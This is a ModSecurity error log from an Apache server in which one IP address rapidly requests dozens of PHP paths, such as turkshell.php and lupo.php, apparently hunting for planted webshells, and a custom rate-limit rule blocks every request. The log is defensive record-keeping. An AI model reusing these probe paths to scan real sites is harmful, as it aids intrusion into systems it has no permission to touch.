[Sun Apr 12 12:11:38.867991 2026] [:error] [pid 25327:tid 25357] [client 20.215.64.75:52444] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adsbei6h2tZEVJo9JFKT6wAAABU"]
[Sun Apr 12 12:11:39.376817 2026] [:error] [pid 60280:tid 60302] [client 20.215.64.75:52429] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adsbe3BlLnDOYuIykkii4gAAAdQ"]
[Sun Apr 12 12:11:39.886267 2026] [:error] [pid 60280:tid 60283] [client 20.215.64.75:62946] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adsbe3BlLnDOYuIykkii4wAAAcE"]
[Sun Apr 12 12:11:40.403232 2026] [:error] [pid 60280:tid 60282] [client 20.215.64.75:62948] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adsbfHBlLnDOYuIykkii6gAAAcA"]
[Sun Apr 12 12:11:40.919275 2026] [:error] [pid 25328:tid 25385] [client 20.215.64.75:52463] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adsbfMxUaQZxT-e0YsCCPQAAAE4"]
[Sun Apr 12 12:11:41.437312 2026] [:error] [pid 25437:tid 25461] [client 20.215.64.75:61032] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adsbfXf97wYZje1ep_PHXgAAANY"]
[Sun Apr 12 12:11:41.943114 2026] [:error] [pid 26600:tid 26631] [client 20.215.64.75:9571] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adsbfe1YwAZiXhQKLYrYpAAAAYI"]
[Sun Apr 12 12:11:42.474445 2026] [:error] [pid 26600:tid 26632] [client 20.215.64.75:9586] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adsbfu1YwAZiXhQKLYrYpQAAAYM"]
[Sun Apr 12 12:11:43.020769 2026] [:error] [pid 60280:tid 60300] [client 20.215.64.75:62945] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adsbf3BlLnDOYuIykkii8wAAAdI"]
[Sun Apr 12 12:11:43.526434 2026] [:error] [pid 60280:tid 60303] [client 20.215.64.75:61008] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/awa.php"] [unique_id "adsbf3BlLnDOYuIykkii9gAAAdU"]
[Sun Apr 12 12:11:44.039126 2026] [:error] [pid 60280:tid 60294] [client 20.215.64.75:61013] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adsbgHBlLnDOYuIykkii-wAAAcw"]
[Sun Apr 12 12:11:44.565389 2026] [:error] [pid 60280:tid 60286] [client 20.215.64.75:52432] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adsbgHBlLnDOYuIykkii_wAAAcQ"]
[Sun Apr 12 12:11:45.106694 2026] [:error] [pid 26567:tid 26574] [client 20.215.64.75:59097] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adsbgXhRpg6ptWFyFx1eLgAAAQU"]
[Sun Apr 12 12:11:45.634446 2026] [:error] [pid 26600:tid 26649] [client 20.215.64.75:60994] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "adsbge1YwAZiXhQKLYrYrgAAAZQ"]
[Sun Apr 12 12:11:46.161102 2026] [:error] [pid 60280:tid 60287] [client 20.215.64.75:52477] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adsbgnBlLnDOYuIykkijAQAAAcU"]
[Sun Apr 12 12:11:46.670190 2026] [:error] [pid 26599:tid 26609] [client 20.215.64.75:62928] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adsbgnG89LXoQbk_rwCXIQAAAUc"]
[Sun Apr 12 12:11:47.234161 2026] [:error] [pid 25329:tid 25381] [client 20.215.64.75:61017] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adsbg2dcIYsS8Iyaj118QAAAAIM"]
[Sun Apr 12 12:11:47.761975 2026] [:error] [pid 26599:tid 26610] [client 20.215.64.75:62927] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adsbg3G89LXoQbk_rwCXIgAAAUg"]
[Sun Apr 12 12:11:48.298483 2026] [:error] [pid 25328:tid 25377] [client 20.215.64.75:9564] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adsbhMxUaQZxT-e0YsCCPwAAAEo"]
[Sun Apr 12 12:11:48.816913 2026] [:error] [pid 26600:tid 26648] [client 20.215.64.75:61036] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adsbhO1YwAZiXhQKLYrYtgAAAZM"]
[Sun Apr 12 12:11:49.366885 2026] [:error] [pid 60280:tid 60289] [client 20.215.64.75:9576] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adsbhXBlLnDOYuIykkijAgAAAcc"]
[Sun Apr 12 12:11:49.873111 2026] [:error] [pid 60280:tid 60306] [client 20.215.64.75:9562] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adsbhXBlLnDOYuIykkijBAAAAdg"]
[Sun Apr 12 12:11:50.414417 2026] [:error] [pid 25437:tid 25459] [client 20.215.64.75:62960] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adsbhnf97wYZje1ep_PHYgAAANQ"]
[Sun Apr 12 12:11:50.928620 2026] [:error] [pid 25328:tid 25366] [client 20.215.64.75:9569] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adsbhsxUaQZxT-e0YsCCRAAAAEI"]
[Sun Apr 12 12:11:51.453364 2026] [:error] [pid 25328:tid 25364] [client 20.215.64.75:9557] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adsbh8xUaQZxT-e0YsCCRQAAAEA"]
[Sun Apr 12 12:11:51.963599 2026] [:error] [pid 25328:tid 25398] [client 20.215.64.75:9224] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "adsbh8xUaQZxT-e0YsCCSQAAAFQ"]
[Sun Apr 12 12:11:52.540300 2026] [:error] [pid 25328:tid 25387] [client 20.215.64.75:9574] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adsbiMxUaQZxT-e0YsCCSwAAAE8"]
[Sun Apr 12 12:11:53.077648 2026] [:error] [pid 25328:tid 25369] [client 20.215.64.75:9545] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adsbicxUaQZxT-e0YsCCTgAAAEU"]
[Sun Apr 12 12:11:53.640920 2026] [:error] [pid 25328:tid 25403] [client 20.215.64.75:9539] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adsbicxUaQZxT-e0YsCCUQAAAFY"]
[Sun Apr 12 12:11:54.165455 2026] [:error] [pid 25328:tid 25380] [client 20.215.64.75:61010] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wert.php"] [unique_id "adsbisxUaQZxT-e0YsCCVwAAAEw"]
[Sun Apr 12 12:11:54.745677 2026] [:error] [pid 25437:tid 25453] [client 20.215.64.75:62963] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adsbinf97wYZje1ep_PHZgAAAM4"]
[Sun Apr 12 12:11:55.294053 2026] [:error] [pid 60280:tid 60291] [client 20.215.64.75:52467] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adsbi3BlLnDOYuIykkijDAAAAck"]
[Sun Apr 12 12:11:55.853511 2026] [:error] [pid 60280:tid 60284] [client 20.215.64.75:61011] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adsbi3BlLnDOYuIykkijDQAAAcI"]
[Sun Apr 12 12:11:56.401071 2026] [:error] [pid 25328:tid 25385] [client 20.215.64.75:9554] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adsbjMxUaQZxT-e0YsCCWQAAAE4"]
[Sun Apr 12 12:11:56.928253 2026] [:error] [pid 60280:tid 60297] [client 20.215.64.75:9587] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adsbjHBlLnDOYuIykkijEwAAAc8"]
[Sun Apr 12 12:11:57.455439 2026] [:error] [pid 60280:tid 60285] [client 20.215.64.75:9542] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adsbjXBlLnDOYuIykkijFQAAAcM"]
[Sun Apr 12 12:11:58.028463 2026] [:error] [pid 25328:tid 25367] [client 20.215.64.75:59093] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adsbjsxUaQZxT-e0YsCCXQAAAEM"]
[Sun Apr 12 12:11:58.563353 2026] [:error] [pid 25328:tid 25377] [client 20.215.64.75:9563] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adsbjsxUaQZxT-e0YsCCXwAAAEo"]
[Sun Apr 12 12:11:59.115462 2026] [:error] [pid 26600:tid 26636] [client 20.215.64.75:61030] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adsbj-1YwAZiXhQKLYrYvAAAAYc"]
[Sun Apr 12 12:11:59.632322 2026] [:error] [pid 60280:tid 60295] [client 20.215.64.75:60996] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adsbj3BlLnDOYuIykkijIgAAAc0"]
[Sun Apr 12 12:12:00.141831 2026] [:error] [pid 25328:tid 25368] [client 20.215.64.75:52447] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adsbkMxUaQZxT-e0YsCCZgAAAEQ"]
[Sun Apr 12 12:12:00.671250 2026] [:error] [pid 60280:tid 60291] [client 20.215.64.75:62936] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adsbkHBlLnDOYuIykkijJwAAAck"]
[Sun Apr 12 12:12:01.208777 2026] [:error] [pid 25437:tid 25459] [client 20.215.64.75:9583] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adsbkXf97wYZje1ep_PHbwAAANQ"]
[Sun Apr 12 12:12:01.744780 2026] [:error] [pid 60280:tid 60286] [client 20.215.64.75:52441] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adsbkXBlLnDOYuIykkijLAAAAcQ"]
[Sun Apr 12 12:12:02.278321 2026] [:error] [pid 60280:tid 60298] [client 20.215.64.75:62975] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adsbknBlLnDOYuIykkijLwAAAdA"]
[Sun Apr 12 12:12:02.917365 2026] [:error] [pid 25328:tid 25372] [client 20.215.64.75:59717] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adsbksxUaQZxT-e0YsCCaAAAAEc"]
[Sun Apr 12 12:12:03.521116 2026] [:error] [pid 60280:tid 60292] [client 20.215.64.75:9540] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adsbk3BlLnDOYuIykkijWgAAAco"]
[Sun Apr 12 12:12:04.050546 2026] [:error] [pid 25328:tid 25394] [client 20.215.64.75:52430] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adsblMxUaQZxT-e0YsCCbgAAAFI"]
[Sun Apr 12 12:12:04.633245 2026] [:error] [pid 25328:tid 25366] [client 20.215.64.75:52445] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adsblMxUaQZxT-e0YsCCcgAAAEI"]
[Sun Apr 12 12:12:05.208292 2026] [:error] [pid 60280:tid 60302] [client 20.215.64.75:61022] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adsblXBlLnDOYuIykkijdAAAAdQ"]
[Sun Apr 12 12:12:05.759667 2026] [:error] [pid 25437:tid 25447] [client 20.215.64.75:9588] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adsblXf97wYZje1ep_PHfwAAAMg"]
[Sun Apr 12 12:12:06.332720 2026] [:error] [pid 60280:tid 60295] [client 20.215.64.75:61000] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adsblnBlLnDOYuIykkijewAAAc0"]
[Sun Apr 12 12:12:06.983879 2026] [:error] [pid 60280:tid 60302] [client 20.215.64.75:59088] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adsblnBlLnDOYuIykkijfwAAAdQ"]
[Sun Apr 12 12:12:07.550049 2026] [:error] [pid 60280:tid 60300] [client 20.215.64.75:61018] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adsbl3BlLnDOYuIykkijgAAAAdI"]
[Sun Apr 12 12:12:08.154573 2026] [:error] [pid 25437:tid 25444] [client 20.215.64.75:61046] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adsbmHf97wYZje1ep_PHhwAAAMU"]
[Sun Apr 12 12:12:08.859947 2026] [:error] [pid 25327:tid 25360] [client 20.215.64.75:9551] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adsbmC6h2tZEVJo9JFKUFgAAABg"]
